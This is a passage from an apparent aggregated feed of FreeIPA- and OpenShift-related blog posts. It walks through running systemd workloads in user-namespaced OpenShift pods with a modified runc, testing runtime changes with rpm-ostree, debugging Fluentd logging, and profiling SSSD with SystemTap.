If you don't see a command prompt, try pressing enter.
sh-4.2# chroot /host
sh-4.4# rpm-ostree override replace https://ftweedal.fedorapeople.org/runc-1.0.0-990.rhaos4.8.gitcd80260.el8.x86_64.rpm
Downloading 'https://ftweedal.fedorapeople.org/runc-1.0.0-990.rhaos4.8.gitcd80260.el8.x86_64.rpm'... done!
Checking out tree 9767154... done
No enabled rpm-md repositories.
Importing rpm-md... done
Resolving dependencies... done
Applying 1 override
Processing packages... done
Running pre scripts... done
Running post scripts... done
Running posttrans scripts... done
Writing rpmdb... done
Writing OSTree commit... done
Staging deployment... done
Upgraded:
  runc 1.0.0-96.rhaos4.8.gitcd80260.el8 -> 1.0.0-990.rhaos4.8.gitcd80260.el8
Run "systemctl reboot" to start a reboot

Instead of installing the modified runc on all worker nodes, you could update one node and use .spec.nodeAffinity in the PodSpec to force the pod to run on that node.

Don’t worry about the restart right now (it will happen in the next step). Exit the debug shell:

sh-4.4# exit
sh-4.2# exit

Removing debug pod ...

Enable user namespaces and cgroups v2 §

The following MachineConfig enables cgroups v2 and CRI-O annotation-based user namespace support:

apiVersion: machineconfiguration.openshift.io/v1
kind: MachineConfig
metadata:
  labels:
    machineconfiguration.openshift.io/role: worker
  name: userns-cgv2
spec:
  kernelArguments:
    - systemd.unified_cgroup_hierarchy=1
    - cgroup_no_v1="all"
    - psi=1
  config:
    ignition:
      version: 3.1.0
    storage:
      files:
      - path: /etc/crio/crio.conf.d/99-crio-userns.conf
        overwrite: true
        contents:
          source: data:text/plain;charset=utf-8;base64,W2NyaW8ucnVudGltZS5ydW50aW1lcy5ydW5jXQphbGxvd2VkX2Fubm90YXRpb25zPVsiaW8ua3ViZXJuZXRlcy5jcmktby51c2VybnMtbW9kZSJdCg==
      - path: /etc/subuid
        overwrite: true
        contents:
          source: data:text/plain;charset=utf-8;base64,Y29yZToxMDAwMDA6NjU1MzYKY29udGFpbmVyczoyMDAwMDA6MjY4NDM1NDU2Cg==
      - path: /etc/subgid
        overwrite: true
        contents:
          source: data:text/plain;charset=utf-8;base64,Y29yZToxMDAwMDA6NjU1MzYKY29udGFpbmVyczoyMDAwMDA6MjY4NDM1NDU2Cg==

The file /etc/crio/crio.conf.d/99-crio-userns.conf enables CRI-O’s annotation-based user namespace support. Its content (base64-encoded in the MachineConfig) is:

[crio.runtime.runtimes.runc]
allowed_annotations=["io.kubernetes.cri-o.userns-mode"]

The MachineConfig also overrides /etc/subuid and /etc/subgid, defining sub-id ranges for user namespaces. The content is the same for both files:

core:100000:65536
containers:200000:268435456

Create the MachineConfig:

% oc create -f machineconfig-userns-cgv2.yaml
machineconfig.machineconfiguration.openshift.io/userns-cgv2 created

Wait for the Machine Config Operator to apply the changes and reboot the worker nodes:

% oc wait mcp/worker --for condition=updated --timeout=-1s
machineconfigpool.machineconfiguration.openshift.io/worker condition met

It will take several minutes, as worker nodes get rebooted one a time.

Create project and user §

Create a new project called test:

% oc new-project test
Now using project "test" on server "https://api.ci-ln-jqbnbfk-f76d1.origin-ci-int-gce.dev.openshift.com:6443".

You can add applications to this project with the 'new-app' command. For example, try:

    oc new-app ruby~https://github.com/sclorg/ruby-ex.git

to build a new example application in Python. Or use kubectl to deploy a simple Kubernetes application:

    kubectl create deployment hello-node --image=gcr.io/hello-minikube-zero-install/hello-node

The output shows the public domain name of this cluster: ci-ln-jqbnbfk-f76d1.origin-ci-int-gce.dev.openshift.com. We need to know this for creating the route in the next step.

Create a user called test. Grant it admin role on project test, and the anyuid Security Context Constraint (SCC) privilege:

% oc create user test
user.user.openshift.io/test created
% oc adm policy add-role-to-user admin test
clusterrole.rbac.authorization.k8s.io/admin added: "test"
% oc adm policy add-scc-to-user anyuid test
securitycontextconstraints.security.openshift.io/anyuid added to: ["test"]

Create service and route §

Create a service to provide HTTP access to pods matching the app: nginx selector:

apiVersion: v1
kind: Service
metadata:
  name: nginx
spec:
  selector:
    app: nginx
  ports:
    - protocol: TCP
      port: 80

% oc create -f service-nginx.yaml
service/nginx created

The following route definition will provide HTTP ingress from outside the cluster:

apiVersion: v1
kind: Route
metadata:
  name: nginx
spec:
  host: nginx.apps.ci-ln-jqbnbfk-f76d1.origin-ci-int-gce.dev.openshift.com
  to:
    kind: Service
    name: nginx

Note the host field. Its value is nginx.apps.$CLUSTER_DOMAIN. Change it to the proper value for your cluster, then create the route:

% oc create -f route-nginx.yaml
route.route.openshift.io/nginx created

There is no pod to route the traffic to… yet.

Create pod §

The pod specification is:

apiVersion: v1
kind: Pod
metadata:
  name: nginx
  labels:
    app: nginx
  annotations:
    io.kubernetes.cri-o.userns-mode: "auto:size=65536"
spec:
  securityContext:
    sysctls:
    - name: "net.ipv4.ping_group_range"
      value: "0 65535"
  containers:
  - name: nginx
    image: quay.io/ftweedal/test-nginx:latest
    tty: true

Create the pod:

% oc --as test create -f pod-nginx.yaml
pod/nginx created

After a few seconds, the pod is running:

% oc get -o json pod/nginx | jq .status.phase
"Running"

Tail the pod’s log. Observe the final lines of systemd boot output and the login prompt:

% oc logs --tail 10 pod/nginx
[  OK  ] Started The nginx HTTP and reverse proxy server.
[  OK  ] Reached target Multi-User System.
[  OK  ] Reached target Graphical Interface.
         Starting Update UTMP about System Runlevel Changes...
[  OK  ] Finished Update UTMP about System Runlevel Changes.

Fedora 33 (Container Image)
Kernel 4.18.0-305.3.1.el8_4.x86_64 on an x86_64 (console)

nginx login: %

Without tty: true in the Container spec, the pod won’t produce any output and oc logs won’t have anything to show.

The log tail also shows that systemd started the nginx service. We already set up a route in the previous step. Use curl to issue an HTTP request and verify that the service is running properly:

% curl --head \
    nginx.apps.ci-ln-jqbnbfk-f76d1.origin-ci-int-gce.dev.openshift.com
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Wed, 21 Jul 2021 06:55:38 GMT
Content-Type: text/html
Content-Length: 5564
Last-Modified: Mon, 27 Jul 2020 22:20:49 GMT
ETag: "5f1f5341-15bc"
Accept-Ranges: bytes
Set-Cookie: 6cf5f3bc2fa4d24f45018c591d3617c3=f114e839b2eef9cdbe00856f18a06336; path=/; HttpOnly
Cache-control: private

Verify sandbox §

Now let’s verify that the container is indeed running in a user namespace. Container UIDs must map to unprivileged UIDs on the host. Query the worker node on which the pod is running, and its CRI-O container ID:

% oc get -o json pod/nginx | jq \
    '.spec.nodeName, .status.containerStatuses[0].containerID'
"ci-ln-jqbnbfk-f76d1-gnkkv-worker-c-db89w"
"cri-o://bf2b3d15cbd6944366e29927988ba30bc36d1efee00c28fb4c6d5b2036e462b0"

Start a debug shell on the node and query the PID of the container init process:

% oc debug node/ci-ln-jqbnbfk-f76d1-gnkkv-worker-c-db89w
Starting pod/ci-ln-jqbnbfk-f76d1-gnkkv-worker-c-db89w-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.0.32.4
If you don't see a command prompt, try pressing enter.
sh-4.2# chroot /host
sh-4.4# crictl inspect bf2b3d | jq .info.pid
7759

Query the UID map and process tree of the container:

sh-4.4# cat /proc/7759/uid_map
         0     200000      65536
sh-4.4# pgrep --ns 7759 | xargs ps -o user,pid,cmd --sort pid
USER         PID CMD
200000      7759 /sbin/init
200000      7796 /usr/lib/systemd/systemd-journald
200193      7803 /usr/lib/systemd/systemd-resolved
200000      7806 /usr/lib/systemd/systemd-homed
200000      7807 /usr/lib/systemd/systemd-logind
200081      7809 /usr/bin/dbus-broker-launch --scope system --audit
200000      7812 /sbin/agetty -o -p -- \u --noclear --keep-baud console 115200,38400,9600 xterm
200081      7813 dbus-broker --log 4 --controller 9 --machine-id 2f2fcc4033c5428996568ca34219c72a --max-bytes 5
200000      7815 nginx: master process /usr/sbin/nginx
200999      7816 nginx: worker process
200999      7817 nginx: worker process
200999      7818 nginx: worker process
200999      7819 nginx: worker process

This confirms that the container has a user namespace. The container’s UID range is 0–65535, which maps to the host UID range 200000–265535. The ps output shows various services running under systemd, running under unprivileged host UIDs in this range.

So, everything is running as expected. One last thing: let’s look at the cgroup ownership. Query the container’s cgroupsPath:

sh-4.4# crictl inspect bf2b3d | jq .info.runtimeSpec.linux.cgroupsPath
"kubepods-besteffort-podc7f11ee7_e178_4dea_9d8c_c005ad648988.slice:crio:bf2b3d15cbd6944366e29927988ba30bc36d1efee00c28fb4c6d5b2036e462b0"

The value isn’t a filesystem path. runc interprets it relative to an implementation-defined location. We expect the cgroup directory and the three files mentioned earlier to be owned by the user that maps to UID 0 in the container’s user namespace. In my case, that’s 200000. We also expect to see scopes and slices created by systemd in the container to be owned by the same user.

sh-4.4# ls -ali /sys/fs/cgroup\
/kubepods.slice/kubepods-besteffort.slice\
/kubepods-besteffort-podc7f11ee7_e178_4dea_9d8c_c005ad648988.slice\
/crio-bf2b3d15cbd6944366e29927988ba30bc36d1efee00c28fb4c6d5b2036e462b0.scope \
    | grep 200000
14755 drwxr-xr-x.  5 200000 root   0 Jul 21 06:00 .
14757 -rw-r--r--.  1 200000 root   0 Jul 21 06:00 cgroup.procs
14760 -rw-r--r--.  1 200000 root   0 Jul 21 06:00 cgroup.subtree_control
14758 -rw-r--r--.  1 200000 root   0 Jul 21 06:00 cgroup.threads
14806 drwxr-xr-x.  2 200000 200000 0 Jul 21 06:00 init.scope
14835 drwxr-xr-x. 11 200000 200000 0 Jul 21 06:15 system.slice
14922 drwxr-xr-x.  2 200000 200000 0 Jul 21 06:00 user.slice

Note the inode of the container cgroup directory: 14755. We can query the inode and ownership of /sys/fs/cgroup within the pod:

% oc exec pod/nginx -- ls -ldi /sys/fs/cgroup
14755 drwxr-xr-x. 5 root nobody 0 Jul 21 06:00 /sys/fs/cgroup

The inode is the same; this is indeed the same cgroup. But within the container’s user namespace, the owner appears as root.

This concludes the verification steps. With my modified version of runc, systemd-based workloads are indeed working properly in user namespaces.

Next steps §

I submitted a pull request with these changes. It remains to be seen if the general approach will be accepted, but initial feedback is positive. Some implementation changes are needed. I might have to hide the behaviour behind a feature gate (e.g. to be activated via an annotation). I also need to write tests and documentation.

I also need to raise a ticket for the SCC issue. The requirement for RunAsAny (which is granted by the anyuid SCC) should be relaxed when the sandbox has a user namespace. The SCC enforcement machinery needs to be enhanced to understand user namespaces, so that unprivileged OpenShift user accounts can run workloads in them.

It would be nice to find a way to avoid the sysctl override to allow the container user to use ping. This is a much lower priority.

Alongside these matters, I can begin testing the FreeIPA container in the test environment. Although systemd is now working, I need to see if the FreeIPA’s constituent services will run properly. I anticipate that I will need to tweak the Pod configuration somewhat. But are there more runtime capability gaps waiting to be discovered? I don’t have a particular suspicion about it, but I do need to know for certain, one way or the other. So expect another blog post soon!

FreeIPA on OpenShift: July 2021 update

2021-07-21T00:00:00+00:00

FreeIPA on OpenShift: July 2021 update

Over the last year I’ve done a lot of investigations into OpenShift, and container runtimes more generally. The driver of this work is the FreeIPA on OpenShift project (known within Red Hat as IDMOCP). I published the results of my investigations in numerous blog posts, but I have not yet written much about why we are doing this at all.

So it’s time to fix that. In this short post I discuss why we want FreeIPA on OpenShift, and the major decision that put us on our current implementation path.

FreeIPA is a centralised identity management system for the enterprise. You enrol users, hosts and services, and configure access policies and other security mechanisms. The system provides authentication and policy enforcement mechanisms. It is similar to Microsoft Active Directory (and indeed can integrate with AD). FreeIPA is a complex system with lots of components including:

LDAP server (389 DS / RHDS)
Kerberos KDC (MIT Kerberos)
Certificate authority (Dogtag / RHCS)
HTTP API (Apache httpd and a lot of Python code)
Host client daemon (SSSD)
several smaller supporting services
installation and administration tools

FreeIPA is available on Fedora and RHEL. You install the RPMs and the installation program configures the system. It is intended to be deployed on a dedicated machine (VM or bare metal).

We are motivated to support FreeIPA on OpenShift for several reasons, including:

Easily providing identity services to applications running on OpenShift.
Leveraging OpenShift and Kubernetes orchestration, scalaing and management features to improve robustness and reduce management overhead of FreeIPA deployments.
Offering FreeIPA, hosted on OpenShift, as a managed service.

Understandably, moving such an application to OpenShift is a non-trivial task. At the beginning of this effort, we had to decide the main implementation approach. There were three options:

Put the whole system in a single “monolithic container”, with systemd as the init process. At the time (and still today) OpenShift only supports running systemd workloads in privileged containers, which is not acceptable. The runtime needs to evolve to support this use case. Work on some of the missing features (such as user namespaces and cgroups v2) was already underway.
Deploy different parts of the FreeIPA system in different containers, running unprivileged. This is a fundamental shift from the current architecture and a huge up-front engineering effort. Also, the current architecture has to be maintained and supported for a long time (>10 years). So this approach brings a substantial ongoing cost in maintaining two architectures of the same application. On a technical level, this approach is feasible today.
Use a VM-based workload (Kata / OpenShift Sandboxed Containers). This option probably has the lowest up-front and ongoing engineering costs. But it requires a bare metal cluster or nested virtualisation, which is not available from most cloud providers. By extension, OpenShift Dedicated (OSD) also does not supported it. Red Hat managed services run on OSD. Offering a managed service is one of the motivators of our effort. So at this time, VM-based workloads are not an option for us.

As a small team, and considering the business reality of the existing offering as part of RHEL, we decided to pursue the “monolithic container” approach. We are depending on the OpenShift runtime evolving to a point where it can support fully isolated systemd-based workloads. And that is why I have invested much of the last 12 months in understanding container runtimes and pushing their limits.

Our approach is not “cloud native” and indeed many people have expressed alarm or confusion when we tell them what we are doing. Certainly, if we were designing FreeIPA from the ground up in today’s world, it would look very different from the current architecture. But this is the reality: if you want customers to bring their mature, complex applications onto OpenShift, don’t expect them to spend big money and assume big risk to rearchitect the application to fit the new environment.

What customers actually need is to be able to bring the application across more or less as-is. Then they can realise the benefits (automation, monitoring, scaling, etc) incrementally, with lower up-front costs and less risk.

If my claims are correct, then proper systemd workload support in OpenShift will be a Very Big Deal. But even if I’m wrong, it is still critical for our FreeIPA on OpenShift effort. And it is achievable. In my next post I’ll demonstrate my working proof of concept for user-namespaced systemd workloads on OpenShift.

Live-testing changes in OpenShift clusters

2021-06-29T00:00:00+00:00

Live-testing changes in OpenShift clusters

I have been hacking on the runc container runtime. So how do I test my changes in an OpenShift cluster?

One option is to compose a machine-os-content release via coreos-assembler. Then you can deploy or upgrade a cluster with that release. Indeed, this approach is necessary for testing installation and upgrades. It also seems useful for publishing modified versions for other people to test. But it is a heavyweight and time consuming option.

For development I want a more lightweight approach. In this post I’ll demonstrate how to use the rpm-ostree usroverlay and rpm-ostree override replace commands to test changes in a live OpenShift cluster.

Background §

OpenShift runs on CoreOS. CoreOS uses OSTree to manage the filesystem. Most of the filesystem is immutable. When upgrading, a new filesystem is prepared before rebooting the system. The old filesystem is preserved, so it is easy to roll back.

So I can’t just log onto an OpenShift node and replace /usr/bin/runc with my modified version. Nevertheless, I have seen references to the rpm-ostree usroverlay command. It is supposed to provide a writable overlayfs on /usr, so that you can test modifications. Changes are lost upon reboot, but that’s fine for testing.

There’s also the rpm-ostree override replace … command. This command works on the level of RPM packages. It allows you to install new packages or replace or remove packages. Changes persist across reboots, but it is easy to roll back to the pristine state of the current CoreOS release.

The rest of this article explores how to use these two commands to apply changes to the cluster.

`usroverlay` via debug container (doesn’t work) §

I first attempted to use rpm-ostree usroverlay in a node debug pod.

% oc debug node/worker-a
Starting pod/worker-a-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.0.128.2
If you don't see a command prompt, try pressing enter.
sh-4.2# chroot /host
sh-4.4# rpm-ostree usroverlay
Development mode enabled.  A writable overlayfs is now mounted on /usr.
All changes there will be discarded on reboot.
sh-4.4# touch /usr/bin/foo
touch: cannot touch '/usr/bin/foo': Read-only file system

The rpm-ostree usroverlay command succeeded. But /usr remained read-only. The debug container has its own mount namespace, which was unaffected. I guess that I need to log into the node directly to use the writable /usr overlay. Perhaps it is also necessary to execute rpm-ostree usroverlay as an unconfined user (in the SELinux sense). I restarted the node to begin afresh:

sh-4.4# reboot

Removing debug pod ...

`usroverlay` via SSH §

For the next attempt, I logged into the worker node over SSH. The first step was to add the SSH public key to the core user’s authorized_keys file. Roberto Carratalá’s helpful blog post explains how to do this. I will recap the critical bits.

SSH keys can be added via MachineConfig objects, which must also specify the machine role (e.g. worker). The Machine Config Operator will only add keys to the core user. Multiple keys can be specified, across multiple MachineConfig objects—all the keys in matching objects will be included.

I don’t have direct network access to the worker node. So how could I log in over SSH? I generated a key in the node debug shell, and will log in from there!

sh-4.4# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:jAmv…NMnY root@worker-a
sh-4.4# cat ~/.ssh/id_rsa.pub
ssh-rsa AAAA…4OU= root@worker-a

The following MachineConfig adds the SSH key for user core:

apiVersion: machineconfiguration.openshift.io/v1
kind: MachineConfig
metadata:
  name: ssh-authorized-keys-worker
  labels:
    machineconfiguration.openshift.io/role: worker
spec:
  config:
    ignition:
      version: 3.2.0
    passwd:
      users:
      - name: core
        sshAuthorizedKeys:
        - ssh-rsa AAAA…40U= root@worker-a

I created the MachineConfig:

% oc create -f machineconfig-ssh-worker.yaml
machineconfig.machineconfiguration.openshift.io/ssh-authorized-keys created

In the node debug shell, I observed that Machine Config Operator applied the change after a few seconds. It did not restart the worker node. My key was added alongside a key defined in some other MachineConfig.

sh-4.4# cat /var/home/core/.ssh/authorized_keys
ssh-rsa AAAA…jjNV devenv

ssh-rsa AAAA…4OU= root@worker-a

Now I could log in over SSH:

sh-4.4# ssh core@$(hostname)
The authenticity of host 'worker-a (10.0.128.2)' can't be established.
ECDSA key fingerprint is SHA256:LUaZOleqVFunmLCp4/E1naIQ+E5BpmVp0gcsXHGacPE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'worker-a,10.0.128.2' (ECDSA) to the list of known hosts.
Red Hat Enterprise Linux CoreOS 48.84.202106231817-0
  Part of OpenShift 4.8, RHCOS is a Kubernetes native operating system
  managed by the Machine Config Operator (`clusteroperator/machine-config`).

WARNING: Direct SSH access to machines is not recommended; instead,
make configuration changes via `machineconfig` objects:
  https://docs.openshift.com/container-platform/4.8/architecture/architecture-rhcos.html

---
[core@worker-a ~]$

The user is unconfined and I can see the normal, read-only (ro) /usr mount (but no overlay):

[core@worker-a ~]$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[core@worker-a ~]$ mount |grep "on /usr"
/dev/sda4 on /usr type xfs (ro,relatime,seclabel,attr2,inode64,logbufs=8,logbsize=32k,prjquota)
overlay on /usr type overlay (rw,relatime,seclabel,lowerdir=usr,upperdir=/var/tmp/ostree-unlock-ovl.KZ4V50/upper,workdir=/var/tmp/ostree-unlock-ovl.KZ4V50/work)

I executed rpm-ostree usroverlay via sudo. After that, a read-write (rw) overlay filesystem is visible:

[core@worker-a ~]$ sudo rpm-ostree usroverlay
Development mode enabled.  A writable overlayfs is now mounted on /usr.
All changes there will be discarded on reboot.
[core@worker-a ~]$ mount |grep "on /usr"
/dev/sda4 on /usr type xfs (ro,relatime,seclabel,attr2,inode64,logbufs=8,logbsize=32k,prjquota)
overlay on /usr type overlay (rw,relatime,seclabel,lowerdir=usr,upperdir=/var/tmp/ostree-unlock-ovl.TCPM50/upper,workdir=/var/tmp/ostree-unlock-ovl.TCPM50/work)

And it is indeed writable. I made a copy of the original runc binary, then installed my modified version:

[core@worker-a ~]$ sudo cp /usr/bin/runc /usr/bin/runc.orig
[core@worker-a ~]$ sudo curl -Ss -o /usr/bin/runc \
    https://ftweedal.fedorapeople.org/runc

Digression: use a buildroot §

The runc executable I installed on the previous step didn’t work. I had built it on my workstation, against a too-new version of glibc. The OpenShift node (which was running RHCOS 4.8, based on RHEL 8.4) was unable to link runc. Therefore it could not run any container workloads. I was able to SSH in from another node and reboot, discarding the transient change in the usroverlay and restoring the node to a functional state.

All of this is obvious in hindsight. You have to build the program for the environment in which it will be executed. In my case, it was easiest to do this via Brew or Koji. I cloned the dist-git repository (via the fedpkg or rhpkg tool), created patches and updated the runc.spec file. Then I built the SRPM (.src.rpm) and started a scratch build in Brew. After the build completed I made the resulting .rpm publicly available, so that it can be fetched from the OpenShift cluster.

`override replace` via node debug container §

I now have my modified runc in an RPM package. So I can use rpm-ostree override replace to install it. In a debug node on the host:

sh-4.4# rpm-ostree override replace \
  https://ftweedal.fedorapeople.org/runc-1.0.0-98.rhaos4.8.gitcd80260.el8.x86_64.rpm
Downloading 'https://ftweedal.fedorapeople.org/runc-1.0.0-98.rhaos4.8.gitcd80260.el8.x86_64.rpm'... done!
Checking out tree eb6dd3b... done
No enabled rpm-md repositories.
Importing rpm-md... done
Resolving dependencies... done
Applying 1 override
Processing packages... done
Running pre scripts... done
Running post scripts... done
Running posttrans scripts... done
Writing rpmdb... done
Writing OSTree commit... done
Staging deployment... done
Upgraded:
  runc 1.0.0-97.rhaos4.8.gitcd80260.el8 -> 1.0.0-98.rhaos4.8.gitcd80260.el8
Run "systemctl reboot" to start a reboot

rpm-ostree downloaded the package and prepared the updated OS. Per the advice, the update is not active yet; I need to reboot:

sh-4.4# rpm -q runc
runc-1.0.0-97.rhaos4.8.gitcd80260.el8.x86_64
sh-4.4# systemctl reboot
sh-4.4# exit
sh-4.2# 
Removing debug pod ...

After reboot I started a node debug container and verified that the modified version of runc is visible:

% oc debug node/worker-a
Starting pod/worker-a-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.0.128.2
If you don't see a command prompt, try pressing enter.
sh-4.2# chroot /host
sh-4.4# rpm -q runc
runc-1.0.0-98.rhaos4.8.gitcd80260.el8.x86_64

And the fact that the debug container is working proves that the modified version of runc isn’t completely broken! Testing the new functionality is a topic for a different post, so I’ll leave it at that.

Listing and resetting overrides §

rpm-ostree status --booted lists the current base image and any overrides that have been applied:

sh-4.4# rpm-ostree status --booted
State: idle
BootedDeployment:
* pivot://quay.io/openshift-release-dev/ocp-v4.0-art-dev@sha256:9a23adde268dc8937ae293594f58fc4039b574210f320ebdac85a50ef40220dd
              CustomOrigin: Managed by machine-config-operator
                   Version: 48.84.202106231817-0 (2021-06-23T18:21:06Z)
      ReplacedBasePackages: runc 1.0.0-97.rhaos4.8.gitcd80260.el8 -> 1.0.0-98.rhaos4.8.gitcd80260.el8

To reset an override for a specific package, run rpm-ostree override reset $PKG:

sh-4.4# rpm-ostree override reset runc
Staging deployment... done
Freed: 1.1 GB (pkgcache branches: 0)
Downgraded:
  runc 1.0.0-98.rhaos4.8.gitcd80260.el8 -> 1.0.0-97.rhaos4.8.gitcd80260.el8
Run "systemctl reboot" to start a reboot

To reset all overrides, execute rpm-ostree reset:

sh-4.4# rpm-ostree reset
Staging deployment... done
Freed: 54.8 MB (pkgcache branches: 0)
Downgraded:
  runc 1.0.0-98.rhaos4.8.gitcd80260.el8 -> 1.0.0-97.rhaos4.8.gitcd80260.el8
Run "systemctl reboot" to start a reboot

Discussion §

I achieved my goal of installed a modified runc executable on an OpenShift node. There were two approaches:

rpm-ostree usroverlay creates a writable overlay on /usr. The overlay disappears at reboot, which is fine for my testing needs. This technique doesn’t work from a node debug container; you have to log in over SSH, which requires additional steps to add SSH keys.
rpm-ostree override replace overrides a particular package RPM. The change takes effect after reboot and is persistent. It is easy to rollback or reset the override. This technique does not require SSH login; it works fine in a node debug container.

Because I needed to build my package in a RHEL 8.4 / RHCOS 4.8 buildroot, I used Brew. The build artifacts are RPMs. Therefore rpm-ostree override replace is the most convenient option for me.

Both options apply changes per-node. After confirming with CoreOS developers, there is currently no way to roll out a package override cluster-wide or to a defined group of nodes (e.g. to MachineConfigPool/worker via a MachineConfig). So for now, you either have to apply changes/overrides on specific nodes, or build the whole machine-os-content image and upgrade the cluster. As a container runtime developer, my sweet spot is in a gulf between the existing options. I can tolerate this mild annoyance on the assumption that it discourages messing around in production environments.

In the meantime, now that I have worked out how to install my modified runc onto worker nodes, I will get on with testing it!

IPA sudo rules for local users

2018-03-26T10:33:40+00:00

Central identity management solutions like IPA offer a very nice capability – in addition to storing users and groups on the server, also certain kinds of policies can be defined in one place and used by all the machines in the domain. Sudo rules are one of the most common policies that administrators define for … Continue reading →

How to debug "undefined method for nil:NilClass" in OpenShift Aggregated Logging

2017-09-28T20:07:25+00:00

In OpenShift Aggregated Logging https://github.com/openshift/origin-aggregated-logging the Fluentd pipeline tries very hard to ensure that the data is correct, because it depends on having clean data in the output section in order to construct the index names for Elasticsearch. If the fields and values are not correct, then the index name construction will fail with an unhelpful error like this:

2017-09-28 13:22:22 -0400 [warn]: temporarily failed to flush the buffer. next_retry=2017-09-28 13:22:23 -0400 error_class="NoMethodError"
error="undefined method `[]' for nil:NilClass" plugin_id="object:1c0bd1c"
2017-09-28 13:22:22 -0400 [warn]: /opt/app-root/src/gems/fluent-plugin-elasticsearch-1.9.5.1/lib/fluent/plugin/out_elasticsearch_dynamic.rb:240:in `eval'
2017-09-28 13:22:22 -0400 [warn]: /opt/app-root/src/gems/fluent-plugin-elasticsearch-1.9.5.1/lib/fluent/plugin/out_elasticsearch_dynamic.rb:240:in `eval'

There is no context about what field might be missing, what tag is matching, or even which plugin it is, the operations output or the applications output (although you do get the plugin_id, which could be used to look up the actual plugin information, if the Fluentd monitoring is enabled).
One solution is to just edit the logging-fluentd ConfigMap, and add a stdout filter in the right place:

## matches
          <filter **>
            @type stdout
          </filter>
          @include configs.d/openshift/output-pre-*.conf
          ...

and dump the time, tag, and record just before the outputs. The problem with this is that it will cause a feedback loop, since Fluentd is reading from its own pod log. The solution to this is to also throw away Fluentd pod logs.

## filters
          @include configs.d/openshift/filter-pre-*.conf
          @include configs.d/openshift/filter-retag-journal.conf
          <match kubernetes.journal.container.fluentd kubernetes.var.log.containers.fluentd**>
            @type null
          </match>

This must come after the filter-retag-journal.conf which identifies and tags Fluentd pod log records. Then restart Fluentd (oc pod delete $fluentd_pod, oc label node, etc.). The Fluentd pod log will now contain data like this:

2017-09-28 13:44:47 -0400 output_tag: {"type":"response","@timestamp":"2017-09-28T17:44:19.524989+00:00","pid":8,"method":"head","statusCode":200,
"req":{"url":"/","method":"head","headers":{"user-agent":"curl/7.29.0","host":"localhost:5601","accept":"*/*"},"remoteAddress":"127.0.0.1","userAgent":"127.0.0.1"},
"res":{"statusCode":200,"responseTime":2,"contentLength":9},
"message":"HEAD / 200 2ms - 9.0B",
"docker":{"container_id":"e1cc1b22d04683645b00de53c0891e284c492358fd2830142f4523ad29eec060"},
"kubernetes":{"container_name":"kibana","namespace_name":"logging","pod_name":"logging-kibana-1-t9tvv",
"pod_id":"358622d8-a467-11e7-ab9a-0e43285e8fce","labels":{"component":"kibana","deployment":"logging-kibana-1",
"deploymentconfig":"logging-kibana","logging-infra":"kibana","provider":"openshift"},
"host":"ip-172-18-0-133.ec2.internal","master_url":"https://kubernetes.default.svc.cluster.local",
"namespace_id":"9dbd679c-a466-11e7-ab9a-0e43285e8fce"},...

Now, if you see a record that is missing @timestamp, or a record from a pod that is missing kubernetes.namespace_name or kubernetes.namespace_id, you know that the exception is caused by one of these missing fields.

Deploy Windows 2016 AD and Fedora 25 IPA with a One-way Trust

2017-05-30T05:38:00+00:00

Introduction For the purpose of this post, the two machines I used for these instructions are VMs running atop a Fedora 25 hypervisor which was configured as outlined here: Configuring Fedora 25 as a Hypervisor using Virtual Machine Manager Note: Make sure that when deploying IPA and AD that you do so on separate domains. Otherwise, … Continue reading

Measuring SSSD performance with SystemTap

2017-05-05T16:39:00+00:00

This post is intended to provide information about finding SSSD bottlenecks with SystemTap.

One of the most common complaints with SSSD is slowness during login or NSS commands such as ‘getent’ or ‘id’ especially in large LDAP/Active Directory environments. Log analysis alone can be difficult to track down the source of the delay, especially with certain configurations(Indirect AD Integration) where there is a significant number of backend operations that occur during login.

In SSSD 1.14, performance enhancements were made to optimize cache write operations decreasing overall time spent updating the filesystem cache. These bottlenecks were discovered by developers based on userspace probing in certain areas of the SSSD code with SystemTap.

Below are some steps on getting started with SystemTap and SSSD, in this example we will use recent additions of High-Level Data Provider request probes.

First, install the necessary packages mentioned here: Installation and Setup
- It is not required to install kernel-debuginfo or sssd-debuginfo to run these userspace systemtap scripts.
You can now check if the probe markers are available with:

# stap -L 'process("/usr/libexec/sssd/sssd_be").mark("*")'
process("/usr/libexec/sssd/sssd_be").mark("dp_req_done") $arg1:long $arg2:long $arg3:long
process("/usr/libexec/sssd/sssd_be").mark("dp_req_send") $arg1:long $arg2:long

# stap -L 'process("/usr/lib64/sssd/libsss_ldap_common.so").mark("*")' | head
process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_acct_req_recv") $arg1:long $arg2:long $arg3:long $arg4:long
process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_acct_req_send") $arg1:long $arg2:long $arg3:long $arg4:long
process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_deref_search_recv") $arg1:long $arg2:long
process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_deref_search_send") $arg1:long $arg2:long
process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_get_generic_ext_recv") $arg1:long $arg2:long $arg3:long
process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_get_generic_ext_send") $arg1:long $arg2:long $arg3:long
process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_nested_group_check_cache_post")
process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_nested_group_check_cache_pre")
process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_nested_group_deref_process_post")
process("/usr/lib64/sssd/libsss_ldap_common.so").mark("sdap_nested_group_deref_process_pre")

The existing SystemTap scripts are located in /usr/share/sssd/systemtap. The id_perf.stp can be used to measure performance specifically with the ‘id’ command, while the nested_group_perf.stp generates metrics and useful information associated with nested group processing code.

# ll /usr/share/sssd/systemtap/
-rw-r--r--. 1 root root 2038 May  4 18:16 dp_request.stp
-rw-r--r--. 1 root root 3854 May  4 13:56 id_perf.stp
